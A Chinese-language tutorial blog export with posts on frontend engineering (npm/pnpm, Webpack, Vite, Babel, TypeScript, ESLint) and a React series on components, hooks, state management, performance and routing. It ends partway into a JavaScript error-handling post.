ESLint 查逻辑问题，prettier 管格式，两者用 eslint-config-prettier 关掉冲突规则。
编辑器保存时自动 fix（format on save）。
提交前用 Git Hooks 跑 lint（下篇讲），CI 再卡一道。

小结

ESLint = 代码正确性；Prettier = 格式美观；Stylelint = CSS 规范。
ESLint 的格式规则全交给 Prettier，避免冲突。
规范自动化后，评审聚焦逻辑而非风格。

练习

给项目配 ESLint + Prettier，并加 eslint-config-prettier 关闭冲突规则。
故意写一个 var x = 1 和未使用变量，运行 lint 看报错级别（error/warn）。
在编辑器里开启 format on save，体验保存即统一格式。

05 · Babel 与 TypeScript 编译

Wed, 30 Sep 2026 15:00:00 GMT

Babel 做什么、不做什么

Babel 只做一件事：把新语法转成旧语法（语法降级），让老浏览器能跑。它不做类型检查——const x: number 里的 : number 被它直接丢掉，但类型错误它发现不了。

// .babelrc
{ "presets": ["@babel/preset-env", "@babel/preset-react", "@babel/preset-typescript"] }

preset-env 按目标浏览器决定降级到什么程度；preset-typescript 只剥离类型注解。

TypeScript 的两条路径

路径	谁负责	类型检查	转译速度
`tsc`	TypeScript 官方	✅ 做	慢
`esbuild` / `babel`	转译器	❌ 不做	极快

关键工程常识：检查与转译分离

最佳实践（现代前端标配）：

vite build          # 用 esbuild/rollup 转译，极快，不检查类型
tsc --noEmit        # 单独跑类型检查，不参与打包

绝不让打包器既转译又类型检查——前者要快，后者要严，职责分开各取所长。CI 里 tsc --noEmit 失败就阻断合并。

为什么不是"用 tsc 打包"

tsc 只转译+检查，不会做打包（处理 CSS/图片/拆包都不行）。所以类型项目里，tsc 负责"编译期把关"，Vite/webpack 负责"产物构建"，两者协作而非互相替代。

小结

Babel 只降级语法，不检查类型。
tsc 检查类型但慢；esbuild/babel 转译快但不管类型。
工程上分离：打包器转译、独立 tsc --noEmit 做类型门禁。
tsc 不打包，构建交给 Vite/Rollup。

练习

用 tsc --noEmit 跑一个故意写了类型错误的文件，看报错；再用 esbuild 转译同一文件，观察类型错误被忽略但编译通过。
在一个 Vite 项目里配置 npm script："typecheck": "tsc --noEmit"，并在 CI 步骤里调用。
解释 preset-typescript 为什么能"剥离类型却不检查"。

04 · Vite 原理与实战

Wed, 30 Sep 2026 14:00:00 GMT

第一次 `npm run dev` 秒开

早年 Webpack 项目 dev 启动要 30 秒（先全量打包）。Vite 启动几乎瞬时，改文件 HMR 也是毫秒级。秘密在开发期根本不打包。

开发期：浏览器原生 ESM

Vite 利用现代浏览器原生支持 <script type="module">，直接按需请求模块，不提前打包：

你改 a.ts，只重新转译 a.ts 这一个文件，浏览器重新请求它。
没有"全量构建"这一步，所以启动和 HMR 都极快。

// vite.config.js
import { defineConfig } from "vite";
export default defineConfig({
  plugins: [react()],
  server: { port: 5173 },
  build: { outDir: "dist" },
});

依赖预构建

裸模块 import react from "react" 浏览器不认识。Vite 用 esbuild（Go 写，极快）把 node_modules 里的依赖预构建成 ESM 并缓存：解决 CommonJS 兼容、把大依赖拆成小文件以便并行请求。

改了依赖或切换分支导致缓存失效时，删 node_modules/.vite 重新预构建即可（本博客部署脚本里那段 rm -rf dist/.vite 渊源在此）。

生产期：Rollup

生产构建仍用 Rollup（成熟、tree-shaking 强），产出去掉 dev 专用的原生 ESM 策略，做完整的拆包与压缩。所以"Vite 快"特指开发体验，生产构建质量不打折。

为什么现代项目选 Vite

启动/HMR 快 → 开发体验碾压。
配置简单，约定优于配置。
生态（vite-plugin-*）丰富，库/应用通吃。

注意：Vite 要求浏览器支持 ESM，极老浏览器需配合 @vitejs/plugin-legacy 降级。

小结

开发期：原生 ESM + 按需转译，免打包 → 启动/HMR 极快。
esbuild 预构建依赖为 ESM 并缓存。
生产期：Rollup 负责完整优化。
现代项目首选 Vite，体验与质量兼得。

练习

新建一个 Vite + React 项目，npm run dev 后打开 Network 面板，观察模块是如何被浏览器按需请求的。
故意删掉 node_modules/.vite 再启动，观察预构建日志重新执行。
对比同一项目用 Webpack 与 Vite 的 dev 启动耗时的差异。

03 · Webpack 核心

Wed, 30 Sep 2026 13:00:00 GMT

Webpack 的心智模型

Webpack 把一切（JS、CSS、图片）都当模块，核心是四件套：

entry：从哪开始构建依赖图。
output：产物输出到哪。
loader："某种文件 → JS 模块"的转换器（如 css-loader、ts-loader、babel-loader）。
plugin：在编译生命周期钩子上做更重的活（压缩、生成 HTML、提取 CSS）。

module.exports = {
  entry: "./src/index.js",
  output: { path: "dist", filename: "[name].[contenthash].js" },
  module: {
    rules: [{ test: /\.tsx?$/, use: "babel-loader" }],
  },
  plugins: [new HtmlWebpackPlugin()],
};

loader vs plugin

loader 是"文件级"转换，一对一（一个资源进，一个模块出）。链条从右到左执行。
plugin 是"生命周期级"扩展，能访问整个编译对象，做代码分割、资源注入、报表等。

简记：改文件内容用 loader，改构建过程/产物用 plugin。

code splitting 拆包

// 动态 import 自动拆成独立 chunk
button.onclick = () => import("./heavy").then(m => m.run());
// 或配置
optimization: { splitChunks: { chunks: "all" } } // 提取公共依赖

拆包让首屏只加载必要代码，公共库单独缓存，是性能优化的基础。

常见优化

mode: "production" 自动开启压缩、tree-shaking。
contenthash 文件名：内容不变则文件名不变，最大化浏览器缓存。
cache 目录缓存：二次构建大幅提速。
用 webpack-bundle-analyzer 看谁占了体积。

小结

四件套：entry/output/loader/plugin。
loader 转文件，plugin 扩流程。
动态 import + splitChunks 做拆包优化首屏。
contenthash 文件名利于长缓存。

练习

手写一个最小 webpack 配置，把 TS 入口打包成 dist 下的 hash 命名文件。
配置 splitChunks: { chunks: "all" }，观察公共依赖是否被提取到独立 chunk。
用 webpack-bundle-analyzer 找出体积最大的模块，想办法减小。

02 · 模块化与打包原理

Wed, 30 Sep 2026 12:00:00 GMT

浏览器不认识你的工程

你写的是 import/export、TS、JSX，浏览器只认"一个或少数几个 JS 文件"。打包器（bundler）就是把分散的模块，变成浏览器能直接跑的产物。

打包四步

构建依赖图：从入口文件出发，递归解析所有 import，形成"谁依赖谁"的图。
转译：用 Babel/esbuild 把 TS/JSX/新语法转成目标 JS。
合并：把模块拼接成 bundle（处理作用域、导出绑定）。
拆分与优化：按路由/动态 import 拆成多个 chunk，做压缩、tree-shaking。

Tree-shaking 的前提

"摇掉"没被用到的导出，靠的是 ESM 的静态结构（编译期可知导入导出）：

// math.js
export const add = () => {};
export const unused = () => {}; // 没被 import → 被摇掉

前提：用 ESM（import/export），且打包器开启 mode: production。CommonJS 因运行时才知依赖，无法静态分析，摇不掉。

ESM 与 CJS 互操作

打包器要处理两种模块规范的混用：把 CJS 的 module.exports 包成 ESM 可消费的接口。这也是为什么"只 import CJS 的具名导出有时会失败"——CJS 本质是单个 exports 对象。

Source Map

压缩后的代码只剩 a,b,c，报错堆栈看不懂。source map 记录"压缩代码位置 ↔ 源码位置"的映射，让 DevTools 能把错误指回你写的 .ts 行。生产环境也建议保留（或单独上传到错误监控），否则线上报错无法定位。

小结

打包器 = 依赖图 + 转译 + 合并 + 拆分。
Tree-shaking 依赖 ESM 静态结构，CJS 摇不掉。
source map 是定位压缩后代码错误的生命线。

练习

用 npx esbuild 打包一个含未使用导出的 ESM 文件（production 模式），对比打包前后体积，验证 tree-shaking。
故意制造一个线上报错，用 source map 在 DevTools 里定位回源码行。
解释为什么 import { a } from "cjs-lib" 可能拿不到具名导出。

01 · 包管理器

Wed, 30 Sep 2026 11:00:00 GMT

一次"只在我机器上能跑"的事故

新人没提交 package-lock.json，别人 npm install 装到了 lodash 的一个小版本更新，某个 API 行为变了，本地正常、CI 红。根因：没有 lockfile，依赖树不可复现。

三大包管理器

工具	特点	适用
`npm`	自带、最稳	通用
`yarn`	早期快、workspace 支持	老项目
`pnpm`	硬链接+内容寻址，省磁盘、严格（不扁平化 node_modules）	现代项目/Monorepo 首选

pnpm 的"非扁平" node_modules 能杜绝幽灵依赖（没声明却能被 import），这是它最大的工程价值。

lockfile 必须提交

package-lock.json / yarn.lock / pnpm-lock.yaml 锁定了精确版本与依赖树。
提交它 → 所有人、CI 装到完全一致的结果，可复现构建。
装依赖用 npm ci（基于 lock 干净安装），比 npm install 更快更严格，CI 必用。

版本号语义

"lodash": "^1.2.3"  // 允许 1.x.x 中 >=1.2.3（不含 2.0.0）
"react": "~18.2.0"  // 允许 18.2.x
"vue": "*"          // 任意版本（危险，别用）

^ 只升 minor/patch，major 不升——这是"不破坏兼容性"的约定。但即使是 ^，lockfile 仍应锁死，避免意外。

依赖类型

dependencies：运行时需要（如 React、lodash）。
devDependencies：仅开发/构建需要（如 vite、eslint、typescript）。
peerDependencies："宿主项目应提供"的（如插件声明它需要的 React 版本，避免重复打包）。

分错类型会导致：生产包过大，或 peer 冲突。

小结

选型现代项目优先 pnpm（省空间、防幽灵依赖）。
lockfile 必提交，CI 用 npm ci / pnpm install --frozen-lockfile。
版本用 ^/~，别用 *；lockfile 兜底精确性。
依赖按运行/开发/peer 三类正确划分。

练习

初始化一个 pnpm 项目，观察 node_modules/.pnpm 结构，解释"硬链接+非扁平"如何防幽灵依赖。
删掉 lockfile 重新 install，对比 package.json 与 lock 的版本差异。
把一个依赖从 devDependencies 误放进 dependencies，说明对生产构建体积的影响。

前端工程化 · 路线总览

Wed, 30 Sep 2026 10:00:00 GMT

[!NOTE] 本系列共 12 篇，是我从"能跑就行"到"可协作、可发布"这十年里，逐渐补上的工程课。工具会变，但"为什么要这套机器"不变。

工程化解决什么

个人写 demo 不需要工程化。但团队规模一大，问题全来了：依赖版本不一致、代码风格打架、提交带 bug、构建慢、发布手抖。工程化就是用工具和流程，把"人容易出错"的环节变成"机器可靠执行"。

前端工程化

├── 依赖与模块化
│   ├── 包管理器（npm/yarn/pnpm）
│   ├── 模块化与打包原理
│   └── 打包器：Webpack / Vite
├── 编译与规范
│   ├── Babel 与 TS 编译
│   ├── 代码规范（ESLint/Prettier）
│   └── Git Hooks 质量门禁
├── 交付
│   ├── CI/CD
│   ├── 构建产物分析与优化
│   └── 微前端
└── 规模
    └── Monorepo

我踩过最贵的几个坑

lockfile 不提交：两人依赖树不同，一个能跑一个白屏，查了两天。
ESLint 只在 IDE 开着：有人提交一堆格式问题，CI 才发现，来回拉扯。
构建没分析：bundle 8MB，首屏 10 秒，用户全跑了。
Monorepo 盲目上：工具成本高，小团队反而被流程拖死。

怎么读

01–04 打地基（依赖、打包原理、两大打包器）。
05–07 是"代码变干净、提交变安全"的规范层。
08–11 偏规模与交付，按你团队阶段取用。

小结

工程化的目标不是"用最潮的工具"，而是用最低成本挡住最多的错。下一篇从最容易被忽视却最致命的——包管理器与 lockfile 讲起。

11 · 工程实战与常见坑

Wed, 30 Sep 2026 09:00:00 GMT

这些年我排过的雷

1. 无限重渲染

const [cfg, setCfg] = useState({});
useEffect(() => {
  setCfg(loadCfg()); // 每次渲染都 set 新对象 → 又触发渲染 → 死循环
}, []);

修复：依赖写全、或把"非响应式"的初始化放 useState(() => loadCfg())，不在 effect 里无条件 set。

2. 该派生就不存 state

const [fullName, setFullName] = useState(""); // ❌ 多余
// ✅ 直接派生
const fullName = `${first} ${last}`;

存储可派生的数据，状态一多就难同步、易错。

3. 过度使用 Context

把"用户、主题、语言、布局"全塞一个 Context，任一处变化全部消费者重渲染。拆成多个细粒度 Context，或用状态库按需订阅。

4. StrictMode 双调用困惑

开发模式下 StrictMode 会故意双调用渲染、effect（挂载→卸载→再挂载）以暴露副作用泄漏。看到"请求发两次"先确认是不是它，清理函数写对就不会有问题。

工程检查清单

[ ] 列表 key 用稳定 id，非 index。
[ ] useEffect 依赖数组写全，清理函数齐全。
[ ] 派生数据不进 state。
[ ] memo/useMemo/useCallback 按测量结论加，不滥用。
[ ] 长列表虚拟滚动；首屏代码分割。
[ ] 全局状态先评估是否真需要库。

小结

无限循环多因"effect 里无条件 setState + 依赖不全"。
能派生的不存 state；Context 拆细，避免广播重渲染。
StrictMode 双调用是帮你找 bug，清理写对即可。
性能靠测量，不靠感觉；清单化自查更稳。

练习

故意制造一个无限重渲染，用 Profiler 看调用栈，再用正确依赖修复。
把一个"全量 Context"拆成 UserContext + ThemeContext，验证只改主题时用户组件不重渲染。
列出你当前项目里"可派生却存了 state"的地方并改造。

10 · 路由与数据请求

Wed, 30 Sep 2026 08:00:00 GMT

路由：把 URL 当状态

React Router 用声明式路由映射 URL ↔ 组件：

<Routes>
  <Route path="/users/:id" element={<UserDetail />} />
  <Route path="*" element={<NotFound />} />
</Routes>
// 组件内取参数
const { id } = useParams();

路由本质是"把应用状态的一部分外化到 URL"，刷新/分享链接都能还原页面，对 SEO 和可分享性至关重要。

自己请求数据

function UserDetail() {
  const { id } = useParams();
  const { data, loading } = useFetch(`/api/users/${id}`); // 第07篇的 useFetch
  if (loading) return <Spinner />;
  return <Profile user={data} />;
}

够用，但缓存、去重、重试、竞态都要自己写。

SWR / React Query：专业数据层

import useSWR from "swr";
const { data, error, isLoading } = useSWR(`/api/users/${id}`, fetcher);

SWR（Stale-While-Revalidate）自动：缓存响应、标签页聚焦时重新验证、请求去重、失败重试。React Query 更重，支持 mutations、无限加载、离线缓存。

经验：项目一旦有"多个地方用同一份数据、需要自动刷新"的需求，直接用 React Query，别自己造轮子。

小结

React Router 把 URL 当共享状态，可还原、可分享。
简单请求 useEffect+fetch 够用。
多组件共享数据、需缓存/重试/聚焦刷新 → SWR / React Query。
数据层库解决的是"重复造缓存/竞态/去重的轮子"问题。

练习

用 React Router 搭一个含 / 列表页和 /items/:id 详情页的小应用。
用 useSWR 替换手写 useFetch，对比是否自动处理了重复请求。
给详情页加"焦点回到标签页时自动刷新"（SWR 的 focusThrottleInterval / 默认行为）。

09 · 性能优化

Wed, 30 Sep 2026 07:00:00 GMT

第一条铁律：先测量

别凭直觉优化。用 React DevTools 的 Profiler 看哪些组件渲染耗时、为何重渲染。大多数"卡"其实不在你以为的地方。

memo / useMemo / useCallback

React.memo：props 没变就跳过重渲染（浅比较）。适合"纯展示、频繁父级重渲染"的组件。
useMemo：缓存昂贵计算。
useCallback：缓存函数引用，配 memo 子组件避免无谓重渲染。

反模式：给每个组件都包 memo、每个函数都 useCallback——比较本身有成本，滥用反而慢。

const Item = React.memo(function Item({ data }) {
  return <li>{data.name}</li>;
});

长列表：虚拟列表

渲染 10000 行 DOM 必卡。虚拟列表（react-window / react-virtuoso）只渲染可视区域：

import { FixedSizeList } from "react-window";
<FixedSizeList height={400} itemCount={10000} itemSize={40}>
  {({ index, style }) => <div style={style}>{items[index]}</div>}
</FixedSizeList>;

代码分割与懒加载

路由级懒加载，首屏只加载必要代码：

const Settings = React.lazy(() => import("./Settings"));
<Suspense fallback={<Spinner />}>
  <Settings />
</Suspense>

配合打包器的动态 import()，自动拆包，首屏体积大幅下降。

小结

优化前先用 Profiler 测，别猜。
memo/useMemo/useCallback 按场景用，滥用有反效果。
长列表用虚拟列表；首屏用代码分割 + 懒加载。
性能是"度量→定位→优化→再度量"的循环。

练习

故意让父组件频繁重渲染，观察未 memo 的子组件也跟着渲染，再包 memo 对比。
用一个大数据数组（1万项）渲染列表，体验卡顿，再换成 react-window 虚拟列表。
把某个路由组件改成 React.lazy 懒加载，观察网络请求是否拆出独立 chunk。

08 · 状态管理

Wed, 30 Sep 2026 06:00:00 GMT

先问：真的需要状态库吗

我见过太多项目一上来 npm i redux，结果 90% 的状态都是局部 useState 能解决的。状态管理的代价是额外的抽象和心智负担，别为"可能以后要"提前引入。

分层决策：

范围	工具	理由
单组件内	`useState`	最简单
跨多层组件	`useContext`	免 prop drilling
多个不相关组件共享	`useReducer`	状态逻辑复杂、像状态机
真正全局（用户、主题、购物车）	`Zustand` / `Redux`	跨路由、需可预测/可调试

useReducer：复杂本地状态

当 state 有多个子值、多种变更动作时，useReducer 比一堆 useState 清晰：

function reducer(state, action) {
  switch (action.type) {
    case "add": return { ...state, items: [...state.items, action.item] };
    case "remove": return { ...state, items: state.items.filter(i => i.id !== action.id) };
    default: return state;
  }
}
const [state, dispatch] = useReducer(reducer, { items: [] });
dispatch({ type: "add", item });

轻量全局：Zustand

import { create } from "zustand";
const useStore = create(set => ({
  user: null,
  setUser: (u) => set({ user: u }),
}));
// 组件内
const user = useStore(s => s.user);

比 Redux 少一堆样板，按需订阅、无 Provider 包裹，中小型项目首选。

Redux 何时值得

需要时间旅行调试、严格可预测、中间件生态（如 redux-saga 处理复杂异步）的大型应用才上。现代 Redux 用 @reduxjs/toolkit 已大幅减负，但样板仍多于 Zustand。

小结

默认 useState；跨层 useContext；复杂本地 useReducer；真全局才上库。
Zustand 是轻量全局状态首选；Redux 留给需要强约束的大型应用。
别提前引入状态库——它带来的是复杂度，不是免费午餐。

练习

把一个"多字段表单 + 多个 action"的 useState 堆砌改写成 useReducer。
用 Zustand 建一个 cart store，实现添加/删除/计数。
画一张决策图：什么时候用 useState / context / 状态库。

07 · 自定义 Hook

Wed, 30 Sep 2026 05:00:00 GMT

为什么需要自定义 Hook

当多个组件出现"相同的 state + effect 逻辑"（如"请求数据并显示 loading"），复制粘贴会散落 bug。自定义 Hook 把这段逻辑收口到一个函数里，复用的是行为，不是 UI。

命名与形态

必须以 use 开头（让 React 识别这是 Hook，并套用 Hooks 规则）。
内部可以调用其他 Hook。
返回一个对象/数组，把状态和操作交还组件。

实战：useFetch

function useFetch(url) {
  const [data, setData] = useState(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState(null);

  useEffect(() => {
    let cancelled = false;
    setLoading(true);
    fetch(url)
      .then(r => r.json())
      .then(d => !cancelled && setData(d))
      .catch(e => !cancelled && setError(e))
      .finally(() => !cancelled && setLoading(false));
    return () => { cancelled = true; }; // 卸载/url 变化取消，避免竞态
  }, [url]);

  return { data, loading, error };
}
// 使用
const { data, loading } = useFetch("/api/user");

注意 cancelled 标志：URL 变化或组件卸载后，旧请求的结果不再写入 state，防止竞态与内存泄漏。

复用契约

输入：参数（如 url、配置）。
输出：稳定结构（建议返回对象，未来加字段不破坏调用方）。
副作用：在内部 useEffect 管理，调用方无感知。

小结

自定义 Hook 以 use 开头，复用"逻辑"而非 UI。
把 state+effect 收口，组件只消费结果。
注意竞态取消（cancelled 标志）与清理。
返回对象比数组更易扩展。

练习

写一个 useLocalStorage(key, initial)：状态与 localStorage 双向同步。
写一个 useDebounce(value, delay)：返回防抖后的值（结合 useEffect + setTimeout）。
给 useFetch 加一个 refetch() 手动刷新方法，扩展返回结构。

06 · 常用 Hooks

Wed, 30 Sep 2026 04:00:00 GMT

useMemo：缓存昂贵计算

const sorted = useMemo(() => bigList.sort(compare), [bigList]);

只有 bigList 变才重新排序，否则复用上次结果。适合确实昂贵的计算——别什么都包，记忆本身有成本。

useCallback：缓存函数引用

const handle = useCallback(() => doSomething(a), [a]);

返回稳定的函数引用，传给被 React.memo 包裹的子组件时，能避免因父组件重渲染生成新函数而导致子组件无谓重渲染。

useMemo/useCallback 都要配合依赖数组；它们不是性能银弹，滥用反而慢。

useRef：可变盒子

const inputRef = useRef(null);
// 访问 DOM
<input ref={inputRef} />;
inputRef.current.focus();

// 或存跨渲染的可变值（不触发重渲染）
const timer = useRef();

与 state 区别：ref.current 改了不会触发重渲染，适合存 DOM 引用、定时器 ID、上一次的值。

useContext：跨层传值

避免 props 层层透传（prop drilling）：

const ThemeContext = createContext("light");
function App() {
  return <ThemeContext.Provider value="dark"><Toolbar /></ThemeContext.Provider>;
}
function Toolbar() {
  const theme = useContext(ThemeContext); // 直接拿到，不用一层层传
}

注意：context 值变化会让所有消费组件重渲染，拆分 context 或结合 memo 控制范围。

小结

useMemo 缓存计算、useCallback 缓存函数，都按依赖、别滥用。
useRef 存可变值/ DOM 引用，改动不触发渲染。
useContext 解决 prop drilling，但变化会广播给所有消费者。

练习

一个列表组件，用 useMemo 缓存"根据关键词过滤+排序"的结果。
用 useRef 实现"组件挂载后自动聚焦输入框"。
写一个 ThemeContext，在深层子组件里读取主题值，体会免透传。

05 · Hooks 基础（useState / useEffect）

Wed, 30 Sep 2026 03:00:00 GMT

为什么有 Hooks

以前状态/生命周期只在 class 组件有，函数组件只是"纯渲染"。Hooks（React 16.8）让函数组件也能用状态和副作用，且逻辑可抽成自定义 Hook 复用——这是现代 React 的分水岭。

useState

const [count, setCount] = useState(0);
// 惰性初始化（只在首次执行，避免每次渲染都算）
const [user, setUser] = useState(() => loadUser());

更新函数式写法（依赖上一次值）：setCount(c => c + 1)，避免闭包拿到旧值。

useEffect：处理副作用

副作用 = 渲染之外的操作：请求数据、订阅、操作 DOM、定时器。

useEffect(() => {
  const id = setInterval(tick, 1000);
  return () => clearInterval(id); // 清理函数，组件卸载/重跑前执行
}, [dep]); // 依赖数组

执行时机取决于依赖数组：

[]：仅挂载时跑一次。
[dep]：挂载 + dep 变化后跑。
不写：每次渲染都跑（几乎总是不对的）。

清理函数防止内存泄漏（定时器、订阅未取消）。

依赖数组的坑

最常见 bug：effect 里用了某个变量却没放进依赖，导致用的是旧值。

useEffect(() => {
  fetchData(userId); // 若 userId 变化却没进依赖，不会重新请求
}, []); // ❌ 缺 userId

ESLint 的 exhaustive-deps 规则就是为此——听它的。如果确实只想跑一次，把变量写进依赖；若逻辑需要"只跑一次"，用 ref 或 useRef 缓存。

小结

useState 管理状态，函数式更新避免旧值；useState(() => ...) 惰性初始化。
useEffect 管副作用，依赖数组控制时机，清理函数防泄漏。
依赖数组写全所用的外部变量，eslint exhaustive-deps 当真听。

练习

写一个每秒自增的时钟组件，用 useEffect 设 setInterval 并在清理函数里 clearInterval。
故意把 userId 依赖漏掉，观察改 userId 后数据不刷新，补上后修复。
解释 useState(() => heavy()) 与 useState(heavy()) 的区别（后者每次渲染都执行 heavy）。

04 · 条件渲染与列表

Wed, 30 Sep 2026 02:00:00 GMT

条件渲染

React 没有 if 模板指令，靠 JS 表达式：

// 三目
{isLogin ? <UserPanel /> : <LoginForm />}
// && 短路（注意：0 / "" 也会被渲染！）
{unread > 0 && <Badge count={unread} />}
// 提前返回（组件顶部）
if (!data) return <Loading />;

⚠️ && 陷阱：当左侧是 0、""、NaN 时，这些"假值"会被直接渲染出来（因为 React 渲染 0）。要显示数字计数时尤其小心，用三目或 > 0 &&。

列表用 map

const list = ["a", "b", "c"];
<ul>
  {list.map(item => <li key={item}>{item}</li>)}
</ul>

key 为什么重要

key 是 React 区分列表项身份的标识。重渲染时，React 用 key 判断"哪个是旧的、哪个是新的"，从而复用 DOM、保持状态。

别用 index 当 key（列表增删/重排时身份错乱，导致输入框内容串位、状态错配）：

// ❌ 删除中间项后，后面项的 index 全变，key 也变，状态跟着错位
list.map((item, i) => <li key={i}>{item}</li>);
// ✅ 用稳定唯一 id
list.map(item => <li key={item.id}>{item.text}</li>);

只有"静态、永不变顺序、永不增删"的列表才可用 index。

小结

条件渲染用 && / 三目 / early return；&& 注意假值被渲染。
列表用 map 渲染，必须给每项稳定 key。
key 用数据 id，别用 index（除非列表完全静态）。

练习

写一个待办列表，删除某项后观察用 index 做 key 时复选框状态是否串位，再改成 id 验证修复。
用 && 渲染一个"未读消息数"徽标，故意让 unread=0 看渲染结果，改成安全写法。
解释为什么 key 能帮 React 复用 DOM 而非重建。

03 · 事件与表单

Tue, 29 Sep 2026 15:45:00 GMT

合成事件

React 把浏览器原生事件包成合成事件（SyntheticEvent），抹平浏览器差异，且事件委托到根节点。你拿到的 e 是跨浏览器的统一对象，e.preventDefault() / e.stopPropagation() 都能用。

function handleClick(e) {
  e.preventDefault();
  console.log(e.target.value);
}
<button onClick={handleClick}>点我</button>

绑定写法的坑

内联箭头：onClick={() => doSomething(id)} —— 每次渲染新建函数，简单安全。
类组件里的 this：函数不会自动绑定 this，要用 this.handle = this.handle.bind(this) 或类字段箭头函数，否则 this 是 undefined。

函数组件没有 this 问题，这也是它更推荐的原因。

受控表单批量处理

多个输入框时，别一个字段一个 useState，用一个对象 state + 统一 handler：

const [form, setForm] = useState({ name: "", email: "" });
function update(e) {
  const { name, value } = e.target;
  setForm(prev => ({ ...prev, [name]: value }));
}
<input name="name" value={form.name} onChange={update} />
<input name="email" value={form.email} onChange={update} />

[name]: value 动态键，一个 handler 通吃所有字段。

常见陷阱

忘了 value 要受控：只写 value 不写 onChange 会警告且不可输入——要么都给，要么用 defaultValue（非受控）。
checkbox 用 checked 而非 value：e.target.checked 才是布尔值。
onChange 含义不同：React 的 onChange 在每次输入都触发（不像原生只在失焦），所以实时同步无压力。

小结

React 用合成事件统一浏览器差异。
函数组件用内联箭头或 useCallback 绑定，无 this 烦恼。
多字段表单用一个对象 state + 动态键 handler。
受控组件 value 与 onChange 成对出现。

练习

写一个登录表单（用户名/密码），提交时 preventDefault 并打印（用对象 state 统一管理）。
处理一个 checkbox 组，收集所有选中项到数组 state。
解释 React onChange 与原生 change 事件触发时机差异。

02 · Props 与 State

Tue, 29 Sep 2026 15:30:00 GMT

一句话区分

props：父组件传下来的数据，只读，子组件不能改。相当于函数的参数。
state：组件自己管理的可变数据，能改，改了就重渲染。相当于函数的局部变量。

改 state 必须用 setter

function Counter() {
  const [count, setCount] = useState(0);
  // count = count + 1; // ❌ 直接改不会触发渲染
  return <button onClick={() => setCount(count + 1)}>{count}</button>;
}

setCount 会安排一次重渲染，并用新值替换旧值。React 状态不可变——永远生成新对象，别原地改。

状态提升

当两个兄弟组件需要共享数据时，把 state 提到最近的共同父组件：

function Parent() {
  const [value, setValue] = useState("");
  return (
    <>
      <Input value={value} onChange={setValue} />
      <Preview value={value} />
    </>
  );
}

这是 React "单向数据流" 的体现：数据向上集中、向下流动。

受控 vs 非受控

受控组件：表单值由 React state 控制（value + onChange），实时同步，便于校验。
非受控组件：用 ref 在需要时读取 DOM 值，适合简单表单或集成非 React 代码。

// 受控
<input value={value} onChange={e => setValue(e.target.value)} />
// 非受控
<input ref={inputRef} defaultValue="初始" />

多数场景用受控，数据流向清晰、可预测。

小结

props 只读向下传，state 可变自己管。
改 state 用 setter，状态不可变。
共享状态提升到共同父级。
表单优先受控组件。

练习

写一个温度转换器：摄氏输入框变，华氏框实时更新（用状态提升共享值）。
把上面的输入框改成"非受控"，用 ref 在按钮点击时读值。
解释为什么 React 强调状态不可变（对比 arr.push vs [...arr, x]）。

01 · JSX 与组件模型

Tue, 29 Sep 2026 15:00:00 GMT

JSX 的本质

新人常把 JSX 当"HTML 模板"。其实它只是语法糖，编译后是普通 JS：

// 你写的
const el = <h1 className="title">Hello</h1>;
// 编译后等价于
const el = React.createElement("h1", { className: "title" }, "Hello");

所以 JSX 里能写任意 JS 表达式（用 {} 包裹），它不是字符串也不是 HTML，是"描述 UI 的 JS 对象"。

组件就是函数

React 组件本质：接收 props、返回 UI 描述的函数。

function Welcome({ name }) {
  return <p>你好，{name}</p>;
}
// 使用
<Welcome name="Tom" />

函数组件没有 this、没有生命周期（用 Hooks 代替），简单且易测。Class 组件已是非主流。

组合优于继承

React 不鼓励继承，而是用**组合（children / props 插槽）**复用结构：

function Card({ title, children }) {
  return (
    <div className="card">
      <h3>{title}</h3>
      <div>{children}</div>
    </div>
  );
}
<Card title="统计"><Chart /></Card>

需要多种变体时，用 children 或把组件当 prop 传入，比继承灵活得多。

单一职责

一个组件只做一件事。当一个组件超过 ~150 行、props 超过 7 个，就该拆。拆出来的小组件更易复用和测试。

小结

JSX 是 JS 语法糖，编译成 createElement，不是模板。
组件 = 接收 props 返回 UI 的函数，优先函数组件。
用组合（children/插槽）而非继承复用。
单一职责，过大就拆。

练习

不用 JSX，用 React.createElement 手写一个 <ul> 含两个 <li> 的组件。
写一个 Modal 组件，用 children 接收弹窗内容、title prop 接收标题。
把一个"又长又多 props"的组件按单一职责拆成 3 个小组件。

React 实战 · 路线总览

Tue, 29 Sep 2026 14:00:00 GMT

[!NOTE] 本系列共 12 篇，是我带团队做中后台与 C 端项目时，沉淀下来的 React 实战脉络。不教 API 背记，只讲"心智模型 + 真实坑"。

React 解决了什么问题

2013 年 React 出来时，大家还在手动操作 DOM、维护 innerHTML。React 的核心主张是：UI = f(state)——你只描述"状态对应的界面"，状态变了框架帮你重渲染。这一下把"手动同步 DOM"的噩梦消灭了。

React 实战

├── 基础心智
│   ├── JSX 与组件模型
│   ├── Props 与 State
│   └── 事件与表单
├── 渲染控制
│   ├── 条件渲染与列表（key）
│   ├── Hooks 基础
│   └── 常用 Hooks
├── 能力与规模
│   ├── 自定义 Hook
│   ├── 状态管理
│   ├── 性能优化
│   └── 路由与数据请求
└── 工程化
    └── 工程实战与常见坑

我带新人最常纠正的几件事

把 state 当"应该渲染的最小数据源"：能算出来的就不要存（如 fullName 由 first+last 派生）。
滥用 useEffect：把本可以同步计算的逻辑塞进 useEffect，导致多一次渲染和竞态。
key 用 index：列表重排时状态错乱。
一上来就 Redux：小项目 useState + 提升状态足够，过度设计反而难维护。
无脑 memo：React.memo 有比较成本，乱用反而更慢。

怎么读

01–04 建立心智模型，务必动手写组件。
05–07 是 Hooks 核心，React 现代写法的命根子。
08–11 偏工程，按你项目阶段取用。

小结

React 不复杂，复杂的是"状态如何流动"。把单向数据流（state 自上而下、事件自下而上）刻进脑子，后面都是水到渠成。下一篇从 JSX 与组件模型讲起。

11 · 错误处理与调试

Tue, 29 Sep 2026 13:00:00 GMT

错误也是代码的一部分

早年我习惯"能跑就行"，结果线上一个未捕获异常整页白屏。错误处理的本质：在预期会失败的地方，给程序一条退路。

错误类型

Error：基类，自定义错误继承它。
TypeError：类型不对（如 null.foo）。
ReferenceError：访问未声明变量。
RangeError：数值越界（如递归爆栈）。
SyntaxError：解析阶段就报错（不会被 try/catch 捕获）。

try/catch/finally

try {
  const data = JSON.parse(input); // 可能抛 SyntaxError
} catch (e) {
  if (e instanceof SyntaxError) {
    console.error("格式错误", e.message);
  } else {
    throw e; // 不认识的往上抛
  }
} finally {
  cleanup(); // 无论成功失败都执行（关闭连接、释放资源）
}

